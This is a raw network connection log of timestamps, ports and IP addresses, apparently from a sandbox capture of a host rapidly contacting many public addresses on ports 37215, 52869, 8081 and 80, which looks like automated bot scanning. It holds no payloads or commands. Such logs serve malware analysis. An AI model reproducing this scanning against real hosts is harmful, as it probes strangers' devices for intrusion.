Jul 20, 2024 23:00:58.835603952 CEST	8081	54846	91.130.196.71	192.168.2.23
Jul 20, 2024 23:00:58.835750103 CEST	34648	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:00:58.835872889 CEST	8081	55676	91.130.196.71	192.168.2.23
Jul 20, 2024 23:00:58.835922956 CEST	55676	8081	192.168.2.23	91.130.196.71
Jul 20, 2024 23:00:58.835951090 CEST	80	56016	95.60.51.67	192.168.2.23
Jul 20, 2024 23:00:58.836411953 CEST	52869	36392	161.20.12.87	192.168.2.23
Jul 20, 2024 23:00:58.836441994 CEST	37215	54948	157.23.56.129	192.168.2.23
Jul 20, 2024 23:00:58.836456060 CEST	8081	47596	198.50.246.46	192.168.2.23
Jul 20, 2024 23:00:58.836463928 CEST	36392	52869	192.168.2.23	161.20.12.87
Jul 20, 2024 23:00:58.836518049 CEST	51150	52869	192.168.2.23	172.32.160.159
Jul 20, 2024 23:00:58.836555004 CEST	80	56804	95.60.51.67	192.168.2.23
Jul 20, 2024 23:00:58.836582899 CEST	52869	37202	18.37.139.58	192.168.2.23
Jul 20, 2024 23:00:58.836596966 CEST	8081	48434	198.50.246.46	192.168.2.23
Jul 20, 2024 23:00:58.836621046 CEST	37202	52869	192.168.2.23	18.37.139.58
Jul 20, 2024 23:00:58.836709023 CEST	54948	37215	192.168.2.23	157.23.56.129
Jul 20, 2024 23:00:58.836709023 CEST	56804	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:00:58.836725950 CEST	37215	48742	197.251.31.217	192.168.2.23
Jul 20, 2024 23:00:58.836752892 CEST	8081	57272	153.129.111.29	192.168.2.23
Jul 20, 2024 23:00:58.836946964 CEST	48434	8081	192.168.2.23	198.50.246.46
Jul 20, 2024 23:00:58.837100983 CEST	48742	37215	192.168.2.23	197.251.31.217
Jul 20, 2024 23:00:58.837858915 CEST	49408	8081	192.168.2.23	69.135.152.58
Jul 20, 2024 23:00:58.838576078 CEST	58804	37215	192.168.2.23	157.251.206.76
Jul 20, 2024 23:00:58.839498997 CEST	35682	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:58.839498997 CEST	35682	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:58.840976954 CEST	36522	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:58.841150045 CEST	58186	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:00:58.841181040 CEST	58186	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:00:58.841732979 CEST	35646	52869	192.168.2.23	48.69.126.229
Jul 20, 2024 23:00:58.843051910 CEST	80	33850	95.87.70.25	192.168.2.23
Jul 20, 2024 23:00:58.843066931 CEST	8081	58112	153.129.111.29	192.168.2.23
Jul 20, 2024 23:00:58.843081951 CEST	40842	37215	192.168.2.23	41.241.135.76
Jul 20, 2024 23:00:58.843094110 CEST	52869	52414	45.158.122.120	192.168.2.23
Jul 20, 2024 23:00:58.843107939 CEST	37215	56512	197.137.254.119	192.168.2.23
Jul 20, 2024 23:00:58.843158007 CEST	56512	37215	192.168.2.23	197.137.254.119
Jul 20, 2024 23:00:58.843173027 CEST	52414	52869	192.168.2.23	45.158.122.120
Jul 20, 2024 23:00:58.843255043 CEST	58112	8081	192.168.2.23	153.129.111.29
Jul 20, 2024 23:00:58.843451977 CEST	8081	48566	69.135.152.58	192.168.2.23
Jul 20, 2024 23:00:58.843775988 CEST	39450	8081	192.168.2.23	110.90.71.250
Jul 20, 2024 23:00:58.843775988 CEST	39450	8081	192.168.2.23	110.90.71.250
Jul 20, 2024 23:00:58.843858957 CEST	80	34648	95.87.70.25	192.168.2.23
Jul 20, 2024 23:00:58.843940020 CEST	34648	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:00:58.844049931 CEST	52869	51150	172.32.160.159	192.168.2.23
Jul 20, 2024 23:00:58.844064951 CEST	8081	49408	69.135.152.58	192.168.2.23
Jul 20, 2024 23:00:58.844078064 CEST	37215	58804	157.251.206.76	192.168.2.23
Jul 20, 2024 23:00:58.844125032 CEST	49408	8081	192.168.2.23	69.135.152.58
Jul 20, 2024 23:00:58.844134092 CEST	58804	37215	192.168.2.23	157.251.206.76
Jul 20, 2024 23:00:58.844202995 CEST	51150	52869	192.168.2.23	172.32.160.159
Jul 20, 2024 23:00:58.844358921 CEST	8081	35682	79.87.222.247	192.168.2.23
Jul 20, 2024 23:00:58.845202923 CEST	58992	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:00:58.845817089 CEST	45716	52869	192.168.2.23	130.136.141.197
Jul 20, 2024 23:00:58.846227884 CEST	8081	36522	79.87.222.247	192.168.2.23
Jul 20, 2024 23:00:58.846295118 CEST	36522	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:58.846314907 CEST	80	58186	95.36.82.73	192.168.2.23
Jul 20, 2024 23:00:58.846328020 CEST	40296	8081	192.168.2.23	110.90.71.250
Jul 20, 2024 23:00:58.846658945 CEST	52869	35646	48.69.126.229	192.168.2.23
Jul 20, 2024 23:00:58.846698046 CEST	35646	52869	192.168.2.23	48.69.126.229
Jul 20, 2024 23:00:58.848320961 CEST	41502	37215	192.168.2.23	157.109.181.179
Jul 20, 2024 23:00:58.849150896 CEST	36944	8081	192.168.2.23	162.88.219.206
Jul 20, 2024 23:00:58.849150896 CEST	36944	8081	192.168.2.23	162.88.219.206
Jul 20, 2024 23:00:58.850676060 CEST	37788	8081	192.168.2.23	162.88.219.206
Jul 20, 2024 23:00:58.850862980 CEST	49470	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:00:58.850862980 CEST	49470	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:00:58.851504087 CEST	37654	52869	192.168.2.23	162.220.3.30
Jul 20, 2024 23:00:58.852513075 CEST	60616	37215	192.168.2.23	43.169.90.245
Jul 20, 2024 23:00:58.853041887 CEST	37215	40842	41.241.135.76	192.168.2.23
Jul 20, 2024 23:00:58.853056908 CEST	8081	39450	110.90.71.250	192.168.2.23
Jul 20, 2024 23:00:58.853092909 CEST	40842	37215	192.168.2.23	41.241.135.76
Jul 20, 2024 23:00:58.853503942 CEST	41502	8081	192.168.2.23	49.49.107.76
Jul 20, 2024 23:00:58.853503942 CEST	41502	8081	192.168.2.23	49.49.107.76
Jul 20, 2024 23:00:58.854440928 CEST	80	58992	95.36.82.73	192.168.2.23
Jul 20, 2024 23:00:58.854455948 CEST	52869	45716	130.136.141.197	192.168.2.23
Jul 20, 2024 23:00:58.854496002 CEST	8081	40296	110.90.71.250	192.168.2.23
Jul 20, 2024 23:00:58.854526997 CEST	45716	52869	192.168.2.23	130.136.141.197
Jul 20, 2024 23:00:58.854542971 CEST	58992	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:00:58.854574919 CEST	40296	8081	192.168.2.23	110.90.71.250
Jul 20, 2024 23:00:58.854954958 CEST	37215	41502	157.109.181.179	192.168.2.23
Jul 20, 2024 23:00:58.854991913 CEST	41502	37215	192.168.2.23	157.109.181.179
Jul 20, 2024 23:00:58.855061054 CEST	8081	36944	162.88.219.206	192.168.2.23
Jul 20, 2024 23:00:58.855174065 CEST	50286	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:00:58.855684042 CEST	60726	52869	192.168.2.23	38.47.147.236
Jul 20, 2024 23:00:58.855783939 CEST	8081	37788	162.88.219.206	192.168.2.23
Jul 20, 2024 23:00:58.855833054 CEST	37788	8081	192.168.2.23	162.88.219.206
Jul 20, 2024 23:00:58.856013060 CEST	42352	8081	192.168.2.23	49.49.107.76
Jul 20, 2024 23:00:58.856203079 CEST	80	49470	95.199.108.166	192.168.2.23
Jul 20, 2024 23:00:58.856621027 CEST	52869	37654	162.220.3.30	192.168.2.23
Jul 20, 2024 23:00:58.856671095 CEST	37654	52869	192.168.2.23	162.220.3.30
Jul 20, 2024 23:00:58.857579947 CEST	37215	60616	43.169.90.245	192.168.2.23
Jul 20, 2024 23:00:58.857620001 CEST	60616	37215	192.168.2.23	43.169.90.245
Jul 20, 2024 23:00:58.857997894 CEST	41416	37215	192.168.2.23	197.194.145.174
Jul 20, 2024 23:00:58.858433008 CEST	8081	41502	49.49.107.76	192.168.2.23
Jul 20, 2024 23:00:58.858823061 CEST	41362	8081	192.168.2.23	157.217.88.36
Jul 20, 2024 23:00:58.858823061 CEST	41362	8081	192.168.2.23	157.217.88.36
Jul 20, 2024 23:00:58.860255957 CEST	42210	8081	192.168.2.23	157.217.88.36
Jul 20, 2024 23:00:58.860387087 CEST	52606	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:58.860387087 CEST	52606	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:58.860450983 CEST	80	50286	95.199.108.166	192.168.2.23
Jul 20, 2024 23:00:58.860507011 CEST	50286	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:00:58.860593081 CEST	52869	60726	38.47.147.236	192.168.2.23
Jul 20, 2024 23:00:58.860609055 CEST	8081	34728	191.189.55.135	192.168.2.23
Jul 20, 2024 23:00:58.860622883 CEST	8081	48848	31.254.206.145	192.168.2.23
Jul 20, 2024 23:00:58.860636950 CEST	80	32848	95.2.212.137	192.168.2.23
Jul 20, 2024 23:00:58.860641003 CEST	60726	52869	192.168.2.23	38.47.147.236
Jul 20, 2024 23:00:58.860846996 CEST	49258	52869	192.168.2.23	190.34.49.149
Jul 20, 2024 23:00:58.861453056 CEST	8081	42352	49.49.107.76	192.168.2.23
Jul 20, 2024 23:00:58.861502886 CEST	42352	8081	192.168.2.23	49.49.107.76
Jul 20, 2024 23:00:58.862035990 CEST	43828	37215	192.168.2.23	195.225.222.112
Jul 20, 2024 23:00:58.862931013 CEST	53678	8081	192.168.2.23	103.122.90.220
Jul 20, 2024 23:00:58.862931013 CEST	53678	8081	192.168.2.23	103.122.90.220
Jul 20, 2024 23:00:58.863281965 CEST	37215	41416	197.194.145.174	192.168.2.23
Jul 20, 2024 23:00:58.863416910 CEST	41416	37215	192.168.2.23	197.194.145.174
Jul 20, 2024 23:00:58.863898039 CEST	8081	41362	157.217.88.36	192.168.2.23
Jul 20, 2024 23:00:58.864629030 CEST	53430	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:58.865179062 CEST	8081	42210	157.217.88.36	192.168.2.23
Jul 20, 2024 23:00:58.865226030 CEST	42210	8081	192.168.2.23	157.217.88.36
Jul 20, 2024 23:00:58.865350008 CEST	80	52606	95.29.14.111	192.168.2.23
Jul 20, 2024 23:00:58.865398884 CEST	57946	52869	192.168.2.23	216.170.33.89
Jul 20, 2024 23:00:58.865694046 CEST	54532	8081	192.168.2.23	103.122.90.220
Jul 20, 2024 23:00:58.865889072 CEST	52869	49258	190.34.49.149	192.168.2.23
Jul 20, 2024 23:00:58.865926981 CEST	49258	52869	192.168.2.23	190.34.49.149
Jul 20, 2024 23:00:58.867351055 CEST	37215	43828	195.225.222.112	192.168.2.23
Jul 20, 2024 23:00:58.867455006 CEST	43828	37215	192.168.2.23	195.225.222.112
Jul 20, 2024 23:00:58.867579937 CEST	37624	37215	192.168.2.23	41.245.116.58
Jul 20, 2024 23:00:58.867944002 CEST	8081	53678	103.122.90.220	192.168.2.23
Jul 20, 2024 23:00:58.868624926 CEST	8081	57354	27.92.33.187	192.168.2.23
Jul 20, 2024 23:00:58.868673086 CEST	39770	8081	192.168.2.23	182.241.162.14
Jul 20, 2024 23:00:58.868673086 CEST	39770	8081	192.168.2.23	182.241.162.14
Jul 20, 2024 23:00:58.868803978 CEST	80	40214	95.191.65.210	192.168.2.23
Jul 20, 2024 23:00:58.870049953 CEST	80	53430	95.29.14.111	192.168.2.23
Jul 20, 2024 23:00:58.870100021 CEST	53430	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:58.870328903 CEST	52869	57946	216.170.33.89	192.168.2.23
Jul 20, 2024 23:00:58.870362997 CEST	57946	52869	192.168.2.23	216.170.33.89
Jul 20, 2024 23:00:58.870534897 CEST	40620	8081	192.168.2.23	182.241.162.14
Jul 20, 2024 23:00:58.870690107 CEST	8081	54532	103.122.90.220	192.168.2.23
Jul 20, 2024 23:00:58.870703936 CEST	44978	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:00:58.870703936 CEST	44978	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:00:58.870743036 CEST	54532	8081	192.168.2.23	103.122.90.220
Jul 20, 2024 23:00:58.871350050 CEST	55470	52869	192.168.2.23	143.198.233.204
Jul 20, 2024 23:00:58.873076916 CEST	43252	37215	192.168.2.23	72.152.128.124
Jul 20, 2024 23:00:58.873435974 CEST	37215	37624	41.245.116.58	192.168.2.23
Jul 20, 2024 23:00:58.873541117 CEST	37624	37215	192.168.2.23	41.245.116.58
Jul 20, 2024 23:00:58.873550892 CEST	8081	39770	182.241.162.14	192.168.2.23
Jul 20, 2024 23:00:58.873853922 CEST	38876	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:58.873888016 CEST	38876	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:58.875116110 CEST	45812	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:00:58.875489950 CEST	51596	52869	192.168.2.23	195.184.165.232
Jul 20, 2024 23:00:58.875879049 CEST	39730	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:58.876130104 CEST	8081	40620	182.241.162.14	192.168.2.23
Jul 20, 2024 23:00:58.876168966 CEST	40620	8081	192.168.2.23	182.241.162.14
Jul 20, 2024 23:00:58.876202106 CEST	80	44978	95.186.203.212	192.168.2.23
Jul 20, 2024 23:00:58.876471043 CEST	52869	55470	143.198.233.204	192.168.2.23
Jul 20, 2024 23:00:58.876524925 CEST	55470	52869	192.168.2.23	143.198.233.204
Jul 20, 2024 23:00:58.876610041 CEST	8081	57272	153.129.111.29	192.168.2.23
Jul 20, 2024 23:00:58.876624107 CEST	8081	47596	198.50.246.46	192.168.2.23
Jul 20, 2024 23:00:58.876720905 CEST	80	56016	95.60.51.67	192.168.2.23
Jul 20, 2024 23:00:58.876737118 CEST	8081	54846	91.130.196.71	192.168.2.23
Jul 20, 2024 23:00:58.877053976 CEST	48142	37215	192.168.2.23	197.21.129.208
Jul 20, 2024 23:00:58.877737999 CEST	55508	8081	192.168.2.23	129.66.19.4
Jul 20, 2024 23:00:58.877737999 CEST	55508	8081	192.168.2.23	129.66.19.4
Jul 20, 2024 23:00:58.878551960 CEST	37215	43252	72.152.128.124	192.168.2.23
Jul 20, 2024 23:00:58.878696918 CEST	43252	37215	192.168.2.23	72.152.128.124
Jul 20, 2024 23:00:58.878772974 CEST	8081	38876	101.167.238.79	192.168.2.23
Jul 20, 2024 23:00:58.878899097 CEST	56362	8081	192.168.2.23	129.66.19.4
Jul 20, 2024 23:00:58.879018068 CEST	53686	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:00:58.879019022 CEST	53686	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:00:58.879367113 CEST	33564	52869	192.168.2.23	54.235.197.43
Jul 20, 2024 23:00:58.880460978 CEST	43088	37215	192.168.2.23	198.69.140.160
Jul 20, 2024 23:00:58.880496979 CEST	80	45812	95.186.203.212	192.168.2.23
Jul 20, 2024 23:00:58.880542994 CEST	45812	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:00:58.880848885 CEST	52869	51596	195.184.165.232	192.168.2.23
Jul 20, 2024 23:00:58.880897999 CEST	51596	52869	192.168.2.23	195.184.165.232
Jul 20, 2024 23:00:58.881367922 CEST	58430	8081	192.168.2.23	42.37.47.7
Jul 20, 2024 23:00:58.881367922 CEST	58430	8081	192.168.2.23	42.37.47.7
Jul 20, 2024 23:00:58.881386995 CEST	8081	39730	101.167.238.79	192.168.2.23
Jul 20, 2024 23:00:58.881572962 CEST	39730	8081	192.168.2.23	101.167.238.79
Jul 20, 2024 23:00:58.882091045 CEST	37215	48142	197.21.129.208	192.168.2.23
Jul 20, 2024 23:00:58.882134914 CEST	48142	37215	192.168.2.23	197.21.129.208
Jul 20, 2024 23:00:58.882369995 CEST	54528	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:00:58.882937908 CEST	45948	52869	192.168.2.23	122.204.212.245
Jul 20, 2024 23:00:58.883384943 CEST	59288	8081	192.168.2.23	42.37.47.7
Jul 20, 2024 23:00:58.884733915 CEST	48482	37215	192.168.2.23	197.160.117.109
Jul 20, 2024 23:00:58.885301113 CEST	48288	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:58.885301113 CEST	48288	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:58.886683941 CEST	49146	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:58.886684895 CEST	36272	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:00:58.886684895 CEST	36272	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:00:58.887099981 CEST	60784	52869	192.168.2.23	178.251.54.152
Jul 20, 2024 23:00:58.887546062 CEST	8081	48566	69.135.152.58	192.168.2.23
Jul 20, 2024 23:00:58.887561083 CEST	80	33850	95.87.70.25	192.168.2.23
Jul 20, 2024 23:00:58.887574911 CEST	8081	55508	129.66.19.4	192.168.2.23
Jul 20, 2024 23:00:58.887618065 CEST	8081	56362	129.66.19.4	192.168.2.23
Jul 20, 2024 23:00:58.887634039 CEST	80	53686	95.83.199.37	192.168.2.23
Jul 20, 2024 23:00:58.887717009 CEST	56362	8081	192.168.2.23	129.66.19.4
Jul 20, 2024 23:00:58.887821913 CEST	52842	37215	192.168.2.23	41.132.51.195
Jul 20, 2024 23:00:58.887839079 CEST	52869	33564	54.235.197.43	192.168.2.23
Jul 20, 2024 23:00:58.887878895 CEST	37215	43088	198.69.140.160	192.168.2.23
Jul 20, 2024 23:00:58.887885094 CEST	33564	52869	192.168.2.23	54.235.197.43
Jul 20, 2024 23:00:58.887893915 CEST	8081	58430	42.37.47.7	192.168.2.23
Jul 20, 2024 23:00:58.887948036 CEST	43088	37215	192.168.2.23	198.69.140.160
Jul 20, 2024 23:00:58.888495922 CEST	80	54528	95.83.199.37	192.168.2.23
Jul 20, 2024 23:00:58.888513088 CEST	52869	45948	122.204.212.245	192.168.2.23
Jul 20, 2024 23:00:58.888525009 CEST	8081	59288	42.37.47.7	192.168.2.23
Jul 20, 2024 23:00:58.888549089 CEST	54528	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:00:58.888550997 CEST	45948	52869	192.168.2.23	122.204.212.245
Jul 20, 2024 23:00:58.888562918 CEST	59288	8081	192.168.2.23	42.37.47.7
Jul 20, 2024 23:00:58.889092922 CEST	36372	8081	192.168.2.23	195.218.137.89
Jul 20, 2024 23:00:58.889142036 CEST	36372	8081	192.168.2.23	195.218.137.89
Jul 20, 2024 23:00:58.889996052 CEST	37215	48482	197.160.117.109	192.168.2.23
Jul 20, 2024 23:00:58.890048981 CEST	48482	37215	192.168.2.23	197.160.117.109
Jul 20, 2024 23:00:58.890206099 CEST	37124	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:00:58.890491009 CEST	8081	48288	209.221.156.98	192.168.2.23
Jul 20, 2024 23:00:58.890741110 CEST	34796	52869	192.168.2.23	171.201.20.41
Jul 20, 2024 23:00:58.891055107 CEST	37234	8081	192.168.2.23	195.218.137.89
Jul 20, 2024 23:00:58.892611027 CEST	39054	37215	192.168.2.23	41.184.89.253
Jul 20, 2024 23:00:58.892867088 CEST	80	58186	95.36.82.73	192.168.2.23
Jul 20, 2024 23:00:58.893028021 CEST	8081	35682	79.87.222.247	192.168.2.23
Jul 20, 2024 23:00:58.893045902 CEST	8081	39450	110.90.71.250	192.168.2.23
Jul 20, 2024 23:00:58.893141031 CEST	8081	49146	209.221.156.98	192.168.2.23
Jul 20, 2024 23:00:58.893193007 CEST	49146	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:58.893204927 CEST	80	36272	95.77.163.115	192.168.2.23
Jul 20, 2024 23:00:58.893219948 CEST	52869	60784	178.251.54.152	192.168.2.23
Jul 20, 2024 23:00:58.893273115 CEST	60784	52869	192.168.2.23	178.251.54.152
Jul 20, 2024 23:00:58.893487930 CEST	41118	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:58.893487930 CEST	41118	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:58.894469023 CEST	37215	52842	41.132.51.195	192.168.2.23
Jul 20, 2024 23:00:58.894512892 CEST	52842	37215	192.168.2.23	41.132.51.195
Jul 20, 2024 23:00:58.895071030 CEST	41980	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:58.895168066 CEST	33024	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:00:58.895168066 CEST	33024	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:00:58.895257950 CEST	8081	36372	195.218.137.89	192.168.2.23
Jul 20, 2024 23:00:58.895601034 CEST	33494	52869	192.168.2.23	196.0.98.90
Jul 20, 2024 23:00:58.896605015 CEST	39010	37215	192.168.2.23	157.24.24.246
Jul 20, 2024 23:00:58.897372961 CEST	54188	8081	192.168.2.23	116.5.187.7
Jul 20, 2024 23:00:58.897372961 CEST	54188	8081	192.168.2.23	116.5.187.7
Jul 20, 2024 23:00:58.898202896 CEST	80	49470	95.199.108.166	192.168.2.23
Jul 20, 2024 23:00:58.898219109 CEST	8081	36944	162.88.219.206	192.168.2.23
Jul 20, 2024 23:00:58.898231983 CEST	80	37124	95.77.163.115	192.168.2.23
Jul 20, 2024 23:00:58.898246050 CEST	52869	34796	171.201.20.41	192.168.2.23
Jul 20, 2024 23:00:58.898258924 CEST	8081	37234	195.218.137.89	192.168.2.23
Jul 20, 2024 23:00:58.898272991 CEST	37124	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:00:58.898283005 CEST	34796	52869	192.168.2.23	171.201.20.41
Jul 20, 2024 23:00:58.898300886 CEST	37215	39054	41.184.89.253	192.168.2.23
Jul 20, 2024 23:00:58.898300886 CEST	37234	8081	192.168.2.23	195.218.137.89
Jul 20, 2024 23:00:58.898749113 CEST	39054	37215	192.168.2.23	41.184.89.253
Jul 20, 2024 23:00:58.898749113 CEST	33886	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:00:58.898799896 CEST	8081	41118	221.225.197.171	192.168.2.23
Jul 20, 2024 23:00:58.898973942 CEST	57764	52869	192.168.2.23	169.193.81.146
Jul 20, 2024 23:00:58.899115086 CEST	55052	8081	192.168.2.23	116.5.187.7
Jul 20, 2024 23:00:58.900127888 CEST	8081	41980	221.225.197.171	192.168.2.23
Jul 20, 2024 23:00:58.900171041 CEST	41980	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:58.900254011 CEST	80	33024	95.63.144.57	192.168.2.23
Jul 20, 2024 23:00:58.900629997 CEST	8081	41502	49.49.107.76	192.168.2.23
Jul 20, 2024 23:00:58.900757074 CEST	52869	33494	196.0.98.90	192.168.2.23
Jul 20, 2024 23:00:58.900794983 CEST	33494	52869	192.168.2.23	196.0.98.90
Jul 20, 2024 23:00:58.900903940 CEST	56934	37215	192.168.2.23	157.223.197.130
Jul 20, 2024 23:00:58.901796103 CEST	37215	39010	157.24.24.246	192.168.2.23
Jul 20, 2024 23:00:58.901838064 CEST	39010	37215	192.168.2.23	157.24.24.246
Jul 20, 2024 23:00:58.902003050 CEST	37296	8081	192.168.2.23	130.192.156.155
Jul 20, 2024 23:00:58.902003050 CEST	37296	8081	192.168.2.23	130.192.156.155
Jul 20, 2024 23:00:58.902385950 CEST	8081	54188	116.5.187.7	192.168.2.23
Jul 20, 2024 23:00:58.903263092 CEST	38158	8081	192.168.2.23	130.192.156.155
Jul 20, 2024 23:00:58.903431892 CEST	52476	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:00:58.903431892 CEST	52476	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:00:58.903788090 CEST	80	33886	95.63.144.57	192.168.2.23
Jul 20, 2024 23:00:58.903834105 CEST	50400	52869	192.168.2.23	114.20.70.247
Jul 20, 2024 23:00:58.903842926 CEST	33886	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:00:58.904071093 CEST	52869	57764	169.193.81.146	192.168.2.23
Jul 20, 2024 23:00:58.904159069 CEST	57764	52869	192.168.2.23	169.193.81.146
Jul 20, 2024 23:00:58.904165030 CEST	8081	55052	116.5.187.7	192.168.2.23
Jul 20, 2024 23:00:58.904203892 CEST	55052	8081	192.168.2.23	116.5.187.7
Jul 20, 2024 23:00:58.904584885 CEST	8081	41362	157.217.88.36	192.168.2.23
Jul 20, 2024 23:00:58.904988050 CEST	46618	37215	192.168.2.23	118.76.56.217
Jul 20, 2024 23:00:58.905756950 CEST	55958	8081	192.168.2.23	86.189.116.244
Jul 20, 2024 23:00:58.905756950 CEST	55958	8081	192.168.2.23	86.189.116.244
Jul 20, 2024 23:00:58.906021118 CEST	37215	56934	157.223.197.130	192.168.2.23
Jul 20, 2024 23:00:58.906089067 CEST	56934	37215	192.168.2.23	157.223.197.130
Jul 20, 2024 23:00:58.907253027 CEST	8081	37296	130.192.156.155	192.168.2.23
Jul 20, 2024 23:00:58.907406092 CEST	53348	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:00:58.907988071 CEST	43534	52869	192.168.2.23	168.54.72.251
Jul 20, 2024 23:00:58.908349991 CEST	56826	8081	192.168.2.23	86.189.116.244
Jul 20, 2024 23:00:58.908477068 CEST	8081	38158	130.192.156.155	192.168.2.23
Jul 20, 2024 23:00:58.908545017 CEST	80	52476	95.132.68.188	192.168.2.23
Jul 20, 2024 23:00:58.908655882 CEST	38158	8081	192.168.2.23	130.192.156.155
Jul 20, 2024 23:00:58.908689022 CEST	8081	53678	103.122.90.220	192.168.2.23
Jul 20, 2024 23:00:58.908704042 CEST	80	52606	95.29.14.111	192.168.2.23
Jul 20, 2024 23:00:58.908778906 CEST	52869	50400	114.20.70.247	192.168.2.23
Jul 20, 2024 23:00:58.908878088 CEST	50400	52869	192.168.2.23	114.20.70.247
Jul 20, 2024 23:00:58.910017014 CEST	37215	46618	118.76.56.217	192.168.2.23
Jul 20, 2024 23:00:58.910065889 CEST	46618	37215	192.168.2.23	118.76.56.217
Jul 20, 2024 23:00:58.910145044 CEST	44268	37215	192.168.2.23	197.187.1.61
Jul 20, 2024 23:00:58.910620928 CEST	8081	55958	86.189.116.244	192.168.2.23
Jul 20, 2024 23:00:58.910978079 CEST	57388	8081	192.168.2.23	68.41.70.255
Jul 20, 2024 23:00:58.910978079 CEST	57388	8081	192.168.2.23	68.41.70.255
Jul 20, 2024 23:00:58.912409067 CEST	58254	8081	192.168.2.23	68.41.70.255
Jul 20, 2024 23:00:58.912615061 CEST	56088	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:00:58.912615061 CEST	56088	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:00:58.912683010 CEST	80	53348	95.132.68.188	192.168.2.23
Jul 20, 2024 23:00:58.912724972 CEST	53348	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:00:58.913002014 CEST	52869	43534	168.54.72.251	192.168.2.23
Jul 20, 2024 23:00:58.913042068 CEST	43534	52869	192.168.2.23	168.54.72.251
Jul 20, 2024 23:00:58.913151979 CEST	54890	52869	192.168.2.23	25.0.169.170
Jul 20, 2024 23:00:58.913364887 CEST	8081	56826	86.189.116.244	192.168.2.23
Jul 20, 2024 23:00:58.913409948 CEST	56826	8081	192.168.2.23	86.189.116.244
Jul 20, 2024 23:00:58.914253950 CEST	59652	37215	192.168.2.23	41.240.87.211
Jul 20, 2024 23:00:58.915613890 CEST	43798	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:00:58.915613890 CEST	43798	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:00:58.916357040 CEST	37215	44268	197.187.1.61	192.168.2.23
Jul 20, 2024 23:00:58.916502953 CEST	8081	57388	68.41.70.255	192.168.2.23
Jul 20, 2024 23:00:58.916526079 CEST	44268	37215	192.168.2.23	197.187.1.61
Jul 20, 2024 23:00:58.916764021 CEST	80	44978	95.186.203.212	192.168.2.23
Jul 20, 2024 23:00:58.916796923 CEST	8081	39770	182.241.162.14	192.168.2.23
Jul 20, 2024 23:00:58.917156935 CEST	56968	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:00:58.917666912 CEST	47818	52869	192.168.2.23	120.187.5.172
Jul 20, 2024 23:00:58.917889118 CEST	44670	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:00:58.918961048 CEST	8081	58254	68.41.70.255	192.168.2.23
Jul 20, 2024 23:00:58.919006109 CEST	58254	8081	192.168.2.23	68.41.70.255
Jul 20, 2024 23:00:58.919236898 CEST	80	56088	95.19.94.171	192.168.2.23
Jul 20, 2024 23:00:58.919415951 CEST	52869	54890	25.0.169.170	192.168.2.23
Jul 20, 2024 23:00:58.919456959 CEST	54890	52869	192.168.2.23	25.0.169.170
Jul 20, 2024 23:00:58.919702053 CEST	53310	37215	192.168.2.23	103.34.160.230
Jul 20, 2024 23:00:58.920303106 CEST	37215	59652	41.240.87.211	192.168.2.23
Jul 20, 2024 23:00:58.920365095 CEST	59652	37215	192.168.2.23	41.240.87.211
Jul 20, 2024 23:00:58.920520067 CEST	46898	8081	192.168.2.23	176.159.56.7
Jul 20, 2024 23:00:58.920520067 CEST	46898	8081	192.168.2.23	176.159.56.7
Jul 20, 2024 23:00:58.920787096 CEST	8081	38876	101.167.238.79	192.168.2.23
Jul 20, 2024 23:00:58.921719074 CEST	8081	43798	119.196.179.139	192.168.2.23
Jul 20, 2024 23:00:58.921847105 CEST	47768	8081	192.168.2.23	176.159.56.7
Jul 20, 2024 23:00:58.921972036 CEST	34698	80	192.168.2.23	95.34.132.196
